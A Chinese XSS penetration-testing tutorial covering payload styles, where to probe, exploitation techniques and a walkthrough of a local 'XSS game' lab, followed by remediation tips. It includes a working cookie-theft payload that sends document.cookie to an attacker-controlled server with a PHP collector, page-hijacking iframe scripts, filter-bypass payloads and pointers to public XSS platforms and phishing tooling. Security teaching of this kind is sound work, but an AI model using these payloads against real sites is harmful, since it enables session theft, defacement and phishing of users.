【网络安全渗透测试入门】之XSS漏洞检测、利用和防御机制XSS游戏(非常详细)零基础入门到精通,收藏这一篇就够了

一、前言

本阶段主要讲解XSS漏洞检测、利用和防御机制

喜欢的朋友们,记得点赞支持和收藏一下,关注我,学习黑客技术。

Web的安全问题越来越严重,漏洞总是在不停的出现,而我们以前一直在做的都是打补丁,就这样漏洞、补丁、补丁、漏洞的恶忄生循环着。其实很多的攻击都是可以预防的,只要我们做好前期的工作。

二、JS代码的调用方式

前面的文章我们了解到,javascript有能力操控浏览器并且可以在用户无感的情况下执行一系列恶意攻击的操作。所以大白在开始进行XSS漏洞检测手法讲解之前,需要粉丝们先了解一下JS代码他是如何被网页调用并且执行的。

JavaScript调用网页的手法一共有3种:

  1. 事件法

  2. 标签法

  3. 伪协议法

事件法

HTML4的新特性之一是事件,它使得用户在对网页进行一些操作时,可以触发js代码,从而达到更好的交互效果。比如:

<!DOCTYPE html>  
<html>  
<body>  
<img id="image" src="/i/eg\_smile.gif" />  
<input type="button" οnclick=change() value="修改"/>  
<!-- 当用户点击按钮时,触发js,修改图片的路径 -->  
<input type="button" οnclick=back() value="还原"/>  
<!-- 当用户点击按钮时,触发js,修改图片的路径 -->  
<script>      
// 点击 修改 时调用的js代码      
function change(){  
          document.getElementById("image").src = "/i/porsche.jpg";      
          }      
          // 点击 还原 时调用的js代码      
          function back(){          
          document.getElementById("image").src = "/i/eg\_smile.gif";  
            }  
            </script>  
            <p>原始图像是 eg\_smile.gif,但脚本将其更改为 porsche.jpg</p>  
      </body>  
  </html>  


在前端开发中通常包含非常多的事件类型,感兴趣的可以去看看:

HTML 事件 | 菜鸟教程

标签法

在HTML语言中,不同的标签代表不同的功能,这里面就有一个标签用来运行javascript脚本的:

<script></script>  


我们通过这个标签,就可以导入javascript代码。标签法导入js代码,它有两种形式:

  1. 可以直接在标签对之间写js代码

    <script>    
    //在标签对之间书写js代码      
    alert(1);  
    </script>  
    
    
    
  2. 然后通过src属性,导入js文件

    <script src='target.js'></script>    
    // src可以是相对路径,也可以是超链接  
    <script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>  
    
    
    

特别需要注意的是,这两种形式只能二选一来使用。

协议法

通常伪协议(Pseudo-protocols)是一种用于URL(统一资源定位符)中的特殊协议标识符。注意它们不是真正的协议,而是在特定的上下文中执行特定的操作或触发特定的行为。

伪协议的种类非常多,常用的就包括:dict伪协议、gopher伪协议

php伪协议、data伪协议、等等。而在触发js代码的伪协议中,重点要说两种:

javascript:

<a href="javascript:alert(1)"></a>  


data:

<script src="data:text/javascript;base64,YWxlcnQoMSk="></script>  


通过这两种方式都能触发执行js代码

三、XSS漏洞挖掘思路

我们在挖掘XSS漏洞的时候,只需要去找能够输入内容的地方,比如:表单字段、查询字符串、URL参数、Cookie、HTTP头等用户可以输入内容的地方,在这些地方传入构造好的恶意代码,如果有代码被触发了,就说明这个点是存在XSS漏洞的。

1. 查询字符串

对于有搜索或者查询功能的网站,我们可以先简单判断输入的字符是否会在前端输出。如果有输出,那么我们就可以常去对这些输出的位置测试XSS漏洞

2. 数据提交表单

通常来说表单测试xss相对会复杂一些。因为表单会出现这两种情况:

  1. 我们提交数据之后,前端不会显示我们提交的表单信息。经典案例:

    问卷调查、意见反馈信息等等

  2. 我们提交数据之后,前端会显示我们提交的表单信息。经典案例:

    注册信息、留言信息、评论信息、订单提交信息等

对于这两种形式的表单,我们使用的测试方法会有所不同。

对于第一种形式,由于前端不会显示我们提交的表单信息,所以我们只能通过一些特殊的方式来进行测试:盲打

盲打是在我们不能直接看到回显时使用的一种的攻击手法,这个的核心目标是通过一些间接的证据来体现脚本被执行成功。这就好比SQL注入的盲注,在SQL盲注中,我们可以通过bool比较,让网页显示不一样的内容。可以让数据库休眠,延长网站的响应时间。XSS盲打也是借助这样的原理来实现,不过这个需要考验攻击者的js代码编写水平。

当然,也有简单的方式:借助XSS平台是否抓取到用户cookie来判断XSS漏洞是否存在。

XSS盲打实战案例:某网页漫画_xss实战

这样的方式,虽然能够成功实现 一个XSS盲打攻击,但是,需要提醒各位,使用XSS平台容易造成法律风险。所以在实际项目或src挖掘时,需要慎重使用。

对于第二种,我们直接使用正常的测试语句去进行测试就行了:

通过这样的方式就可以对前端有回显的表单进行XSS测试。这样我们就能够判断出表单是否存在XSS漏洞了。

3.Cookie、请求头等位置

cookie和请求头中的这些传参位置,通常容易被开发人员和安全设备忽略掉。这个是由于,一般cookie这些数据不会直接显示在前端页面上。但是这并不意味着这些地方就是安全的,一定不可能存在XSS的。

我们对Cookie等位置的测试,一般也都是以盲打为主

测试使用的语句

了解完需要测试点位之后,接下来就需要去构造测试使用的javascript语句了。这些构造通常由三种形式:

  1. 标签风格

    借助各种标签来调用js代码,常用的标签由:svg,iframe,img ,script 等等

    <svg onLoad svg onLoad="javascript:javascript:alert(303)"></svg onLoad>  
    <iframe onLoad iframe onLoad="javascript:javascript:alert(296)"></iframe onLoad>  
    <!--\\x3E<img src=xxx:x οnerrοr=javascript:alert(358)> -->  
    <script>javascript:alert(356)</script\\x0B  
    <script charset="\\x22>javascript:alert(357)</script>  
    
    
    

    直接在输入点传入完整的标签,这种方式主要用于网站将数据输出在了两个标签之间的情况

  2. 事件风格

    通过闭合标签中的属性,实现向标签中插入新的属性或者事件

    ' οnerrοr=alert(1) \\\\ " οnfοcus=alert(1) autofocus=autofocus \\\\  
    
    
    

    如果你由仔细观察过标签风格中给出的xss语句,你会发现,其实在标签风格中就已经有不少poc是在借助事件来测试XSS了,它们和我们们现在说的这个的唯一区别就是,事件风格,不在受限于 <>字符了。我们是直接将数据插到了已有的标签中去实现攻击的

  3. 伪协议风格:

    伪协议风格的使用条件相对来说要求比较严格,需要标签存在 href 属性或者网页能需要填写http连接。所以通常会借助 a 标签或者一些特殊的文档语法来测试:

    <a href="javascript:alert(1)"> testxss</a> \[xsstest\](javascript:alert(1))
    
    

四、XSS的利用手法

XSS中最常见的攻击手段包括以下四点:

  1. 窃取用户信息

  2. 恶意重定向

  3. 篡改网页内容

  4. 发起钓鱼攻击

窃取用户信息

JavaScript可以在浏览器中获取用户的一些基本信息:cookie、个人资料等。这些实现的方式也并不复杂,最简单的方式如下:

  1. 通过vps搭建一个站点,要求如下:

    1\. 任意用户能访问 2. 接受2个传参:网址url地址和cookie,并将传递的参数进行base64解密 3. 将域名+时间戳作为文件名,保存传递过来的cookie信息  
    
    
    

    实现代码如下:

    <?      
    if(isset($\_REQUEST\['cookieinfo'\]) && isset($\_REQUEST\["url"\]) ){          
    $info = base64\_decode($\_REQUEST\['cookieinfo'\]);  
       $domain =base64\_decode($\_REQUEST\['url'\]);  
       file\_put\_contents($domain.time().".txt", $info);  
       echo "nice to get this message";      
    }else{          
      echo "hello world";      
    }  
    ?>  
    
    
    
  2. 构建xss攻击语句,要求如下:

    1\. 通过js获取目标站点的 cookie、host,并将这些信息进行base64编码 2. 创建span标签、form标签、iframe标签 3. span标签设置为 display:none ,并且添加 form标签和 iframe标签为子标签 4. 设置form标签,将数据提交到接受网站,并且按照接收平台的规则将数据进行组装 5. 设置form提交结果相应到iframe标签中 6. 将span标签添加到 html标签中,并且提交form标签  
    
    
    

    代码实现如下:

    (function(){      
    // 获得目标站点的信息      
    var cookieinfo = btoa(document.cookie);  
    var url = btoa(window.location.host.replace(":","\_"));      
    // 设置接受信息的站点          
    var target\_url = "http://192.168.226.1/phpinfo.php";      
    // 创建需要使用到的标签      
    var html = document.getElementsByTagName('html')\[0\];      
    var span = document.createElement("span");      
    var form = document.createElement('form');      
    var input1 = document.createElement("input");      
    var input2 = document.createElement("input");      
    // 设置form标签的基本属性      
    form.action = target\_url;      
    // 设置传递的值域1 :cookie信息      
    input1.name = "cookieinfo";      
    input1.type = "text";      
    input1.setAttribute("value",cookieinfo );      
    // 设置传递的值域2 :域名信息      
    input2.name = "url";      
    input2.type = "text";      
    input2.setAttribute("value",url)      
    // 将值域填充到form表单中      
    form.appendChild(input1);      
    form.appendChild(input2);      
    // 创建一个iframe,用于接受form表单提交后返回的数据      
    var iframe = document.createElement("iframe");      
    iframe.name = "\_test";      
    // 设置form的target,实现隐藏form回显的问题      
    form.target = iframe.name;      
    // 将form 和 iframe 都填充到 span 中      
    span.appendChild(form);      
    span.appendChild(iframe);      
    // 将 span 标签隐藏      
    span.style.display = "none";          
    // 然后将表单都填充到html页面中      
    html.appendChild(span);      
    // 提交表单      
    form.submit(); })()  
    
    
    

通过这样的方式,就可以简单的实现用户数据窃取。当然,这样的代码比较丑陋(开发能力有限,见谅),在实际测试的时候有更优解:XSS平台

xss平台的作用和上面的功能是一样的。它是别人开发好的一套相对优雅的解法。但是,需要注意一点:公共XSS平台是不安全的,XSS平台的维护人员是能从XSS平台的后台获取所有打到该平台的XSS信息。

所以如果在实际项目中,项目对数据的保密性有要求,切忌使用公开XSS平台。

不过还是不能绕过XSS平台的简介,这里以 xsscom.com 平台为例,进行讲解,大部分的XSS平台都是大同小异的:

首先访问站点,之后进行一个注册。因为国内政策的原因,现在大部分的XSS平台注册都需要邀请码,同时需要使用邮箱进行注册。邀请码这个东西,没辙,不过现在有一部分的XSS平台是不限制邮箱的,所以我们可以通过临时邮箱来注册这些平台。(攻防中,一定要保护还好自己的个人隐私)

(如何获取临时邮箱?你猜猜看)

注册完成之后,使用账户进行登录,我就不在截图了。登录成功之后创建一个项目。一部分XSS平台对项目创建和数据存储有限制,这个自行探索。

创建 → 项目名称、描述 → 勾选模块(默认模块(必勾)、XSS.js(必勾)、基础认证钓鱼模块(可选)) → 完成

当创建完项目之后,将会得到一个代码页面,拖到最下面,就会有XSS平台的利用方法:

然后将这些利用方式,替换我们的XSS检测点的无害XSS,就能实现 基础的Cookie窃取:

这个解法,就很优雅了。唯一的缺点是:使用的是公共XSS平台。信息保密性无法保证。

恶意重定向

这个理解起来也很简单:就是通过向网页插入一串JS代码,让网页自动跳转到指定的网站中。

window.location.href="http://192.168.226.1"  


当然,这个方式并不够优雅,因为这个跳转之后,浏览器地址栏的内容也会发生变化。这个迷惑性相对来说比较低,只要稍微注意一点,就能发现网站发生了异常。

篡改网页内容

所以就有了更优雅的攻击方式:篡改网页内容。在不修改地址栏的内容,实现对网站内容的篡改。

这里介绍一个新的平台:xssaq.com。这也是一个XSS平台,只不过它更加的暴力和优雅:

而我刚刚说的篡改网页你内容,就能通过他的一项配置来实现:

通过这个配置,就可以再不修改地址栏的内容。将网站重定向到指定的url中。在没有去看他的实现代码之前,我想到的思路是这样的:

1\. 通过js将原来的body给删除2. 通过js创建一个form表单,然后请求目标地址3. 通过js创建一个 iframe 标签,用来接收form表单的返回结果。4. 重新生成body,并且将form和iframe插入body标签。将body插入到html标签  


在模仿Cookie窃取的思路来实现这个攻击。实现一下这个代码:

(function(){   var body = document.getElementsByTagName('body')\[0\];  
body.parentNode.removeChild(body);  
  var html = document.getElementsByTagName("html")\[0\];      
  body = document.createElement("body");      
  html.appendChild(body);      
  var iframe = document.createElement("iframe");      
  iframe.name = "\_test";      
  var form = document.createElement("form");  
  form.action="https://www.anchorubik.com";  
  form.method="get";  
  form.target = iframe.name;  
  body.appendChild(form);  
  body.appendChild(iframe);  
  iframe.style.cssText =  
  "position:absolute;"+  
  "z-index:100000;"+  
  "width:100%;height:100%;"+  
  "frameborder=no;scrolling:no";      
  form.submit();})()  


不过这个代码实现的并不优雅。因为当遇到一些站点,不允许iframe跨域调用时,页面就会报错。而且,如果目标站点使用的是https时,重定向的目标站也必须使用https。

然后我就去看了一眼xssaq平台是怎么实现的。嗯,我思路是没有错的:

不过我尝试着直接拿上面的这一串代码放到浏览器中打self xss,发现效果没有上面的代码好。稍微修改一下自己的代码,然他显得不那么丑陋

(function(){      
var html = document.getElementsByTagName("html")\[0\];  
  html.removeChild(document.getElementsByTagName("body")\[0\]);  
  var body = document.createElement("body");  
  body.style.cssText="scrolling:no";  
  html.appendChild(body);  
  var iframe = document.createElement("iframe");  
  iframe.src="https://www.anchorubik.com";  
  body.appendChild(iframe);  
  iframe.style.cssText =  
  "position:absolute;"+  
  "z-index:100000;"+  
  "width:100%;height:100%;"+  
  "frameborder=no;scrolling:no";  
  })()  


优雅,不过如果细心一点还是能发现问题: 在网页上的操作,地址栏的内容将维持不变

发起钓鱼攻击

在了解了串改网页内容攻击的原理之后,还想要进一步攻击,那不就是钓鱼了?而有了篡改网页内容的基础之后,接下来要钓鱼还不是轻轻松松?

1\. 通过在自己的vps上模仿搭建目标站点的登录页面。  
2. 在自己的vps中实现以下功能:  
a. 将用户提交的数据转发到原网站      
b. 如果登录成功,则将数据保存在本地。并且不在劫持页面。  
c. 如果登录失败,则将响应信息返回给目标用户,知道用户登录成功  


思路有了,接下来就是代码实现来了:我觉得这个时候,各位应该可以拿起cs了。cs有一个钓鱼模块,能够轻松复刻目标站点,并且实现键盘记录。通过XSS篡改目标网站到我们cs生成的网站,能够完美实现钓鱼。

具体的实现方式,我这里就去写了,有点懒,在这里我想讨论另一个东西:如果目标站点存在XSS漏洞,我已经能够通过XSS获取目标的Cookie了,还有必要去钓鱼吗?

五、XSS漏洞修复建议

1、防堵跨站漏洞,阻止攻击者利用在被攻击网站上发布跨站攻击语句

不可以信任用户提交的任何内容,首先代码里对用户输入的地方和变量都需要仔细检查长度和对”<”,”>”,”;”,”’”等字符做过滤;其次任何内容写到页面之前都必须加以encode,避免不小心把htmltag弄出来。这一个层面做好,至少可以堵住超过一半的XSS攻击。

2、cookie防盗

首先避免直接在cookie中泄露用户隐私,例如email、密码等等。其次通过使cookie和系统ip绑定来降低cookie泄露后的危险。这样攻击者得到的cookie没有实际价值,不可能拿来重放。

3、尽量采用POST而非GET提交表单

POST操作不可能绕开javascript的使用,这会给攻击者增加难度,减少可利用的跨站漏洞。

4、严格检查refer

检查httprefer是否来自预料中的url。这可以阻止第2类攻击手法发起的http请求,也能防止大部分第1类攻击手法,除非正好在特权操作的引用页上种了跨站访问。

5、将单步流程改为多步,在多步流程中引入效验码

多步流程中每一步都产生一个验讠正码作为hidden表单元素嵌在中间页面,下一步操作时这个验讠正码被提交到服务器,服务器检查这个验讠正码是否匹配。首先这为第1类攻击者大大增加了麻烦。其次攻击者必须在多步流程中拿到上一步产生的效验码才有可能发起下一步请求,这在第2类攻击中是几乎无法做到的。

6、引入用户交互

简单的一个看图识数可以堵住几乎所有的非预期特权操作。

7、只在允许anonymous访问的地方使用动态的javascript。

8、对于用户提交信息的中的img等link,检查是否有重定向回本站、不是真的图片等可疑操作。

9、内部管理网站的问题

很多时候,内部网站往往疏于关注安全问题,只是简单的限制访问来源。这种网站往往对XSS攻击毫无抵抗力,需要多加注意。

虽然XSS的攻击很灵活,只要我们能做好上述几点,是可以组织大部分XSS的,再及时打好补丁可以最大程度的减少来自跨站脚本攻击XSS的威胁。

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

六、Xss小游戏通关攻略

实验环境:xss小游戏源码+phpstudy

源码地址:https://files.cnblogs.com/files/Eleven-Liu/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip

实验步骤:启动phpstudy,浏览器访问127.0.0.1/xss/后提示点击图片进入第一关。

第一关:输入的变量直接被输出,直接构造payload即可。

http://127.0.0.1/xss/level1.php?name=

http://127.0.0.1/xss/level1.php?name=test‘

第二关:搜索框的XSS,输入的变量直接输出到input标签内,闭合input标签,构造XSS,备注:echo语句输出到页面时使用了htmlspecialchars函数。

payload:

http://127.0.0.1/xss/level2.php?keyword=test">

第三关:输入的变量被htmlspecialchars函数处理了,这个函数处理的字符有< > " ,没有处理单引号,因此利用单引号构造payload,先通过单引号闭合value

[

第四关:大于号 小于号 被过滤了,构造不包含这两个符号的payload,value的值与第三关有所差异,这里需要使用双引号用于闭合value标签

](http://127.0.0.1/xss/level3.php?keyword=%27%20rel=)

[http://127.0.0.1/xss/level4.php?keyword=test"οnmοuseοver=‘alert(1)](http://127.0.0.1/xss/level4.php?keyword=test%22%CE%BFnm%CE%BFuse%CE%BFver=%27%20rel= “http://127.0.0.1/xss/level4.php?keyword=test"οnmοuseοver='alert(1)”)’

第五关:<script 和on被替换了,构造不含这两个的payload

127.0.0.1/xss/level5.php?keyword=find a way out!1">

第六关:比第五关过滤的东西更多,包括了src data href ,可以把这些关键字大写,以绕过这些过滤,payload

http://127.0.0.1/xss/level6.php?keyword=break it out!1">

第七关:增加strtolower函数把输入变量转成了小写,但过滤的字符强制变成空格,可以使用,中间的script变成了空格,正好变成了

127.0.0.1/xss/level7.php?keyword=move up!1">alert(1)

第八关:input中输入的变量通过htmlspecialchars被处理了,且双引号被替换成空,无法通过双引号闭合value。这里的输入被添加至超链接中,直接构造payload:javascript,对其中的字母进行实体编码

搜索框中输入 javascript:alert(1) 点击添加到友情链接,点击链接

第九关:上一关的基础上,判断输入的链接是否包含http://,因为用的是strpos函数,没有限制必须是开始的位置,所以在上一关的基础上,修改payload为 javascript:alert(‘http://’)

第十关:keyword变量没办法构造payload,发现隐藏变量t_sort,可以被写入,但过滤了大于小于号,构造不含大于小于号的payload,类型改为text,具体如下:

[http://127.0.0.1/xss/level10.php?t_sort="οnmοuseοver='alert(1)'type="text](http://127.0.0.1/xss/level10.php?t_sort=%22%CE%BFnm%CE%BFuse%CE%BFver=%27%20rel= "http://127.0.0.1/xss/level10.php?t_sort=“οnmοuseοver='alert(1)'type=“text”)”

第十一关:查看源码:可以看到t_ref的value是我们访问这个网页的referer值,故可以抓包修改referer,在referer后加入” οnmοuseοver=‘alert(1)’ type=“text”。

第十二关:查看源码,$str33最初是由HTTP_USER_AGENT过滤< > 而来,修改User-Agent,在后面加上" οnmοuseοver=‘alert(1)’ type=“text”。

第十三关:同上,查看源码,$str33最初是由cookie过滤< > 而来,修改cookie,在后面加上" οnmοuseοver=‘alert(1)’ type=“text”。

第十四关:网站已经打不开,略过

第十五关:angularjs的ng-include

http://127.0.0.1/xss /level15.php?src=‘level1.php?name=test<img src=1 οnerrοr=alert(1)>’

第十六关:script / 空格被过滤了 ,用%0d换行符绕过

http://127.0.0.1/xss/level16.php?keyword=%3Cimg%0dsrc=1%0dοnerrοr=alert(2)%3Ealert(2)

http://127.0.0.1/xss /level16.php?keyword=<img%0Dsrc=1%0Dοnerrοr=alert()>

http://127.0.0.1/xss /level16.php?keyword=<img%0asrc=1%0aοnerrοr=alert()>

http://127.0.0.1/xss /level16.php?keyword=<img%0asrc=x%0donError=alert(‘xss’)>

http://127.0.0.1/xss /level16.php?keyword=<iframe%0asrc=x%0dοnmοuseοver=alert’1’>

http://127.0.0.1/xss /level16.php?keyword=<svg%0aοnlοad=alert’1’>

第十七关:arg01和arg02 被htmlspecialchars过滤了,通过οnmοuseοver='alert(1)'绕过。

http://127.0.0.1/xss/level17.php?arg01=a&arg02=%20οnmοuseοver=alert%282%29

第十八关:同十七,直接把arg02 设置为οnmοuseοver=‘alert(1)’

http://192.168.40.128/xss/level18.php?arg01=a&arg02= οnmοuseοver=alert(2)

第十九关和二十关属于Flash xss,略过。

为了帮助大家更好的学习网络安全,我给大家准备了一份网络安全入门/进阶学习资料,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂这些资料!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]


在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]
在这里插入图片描述

在这里插入图片描述

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

[2024最新CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享]

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值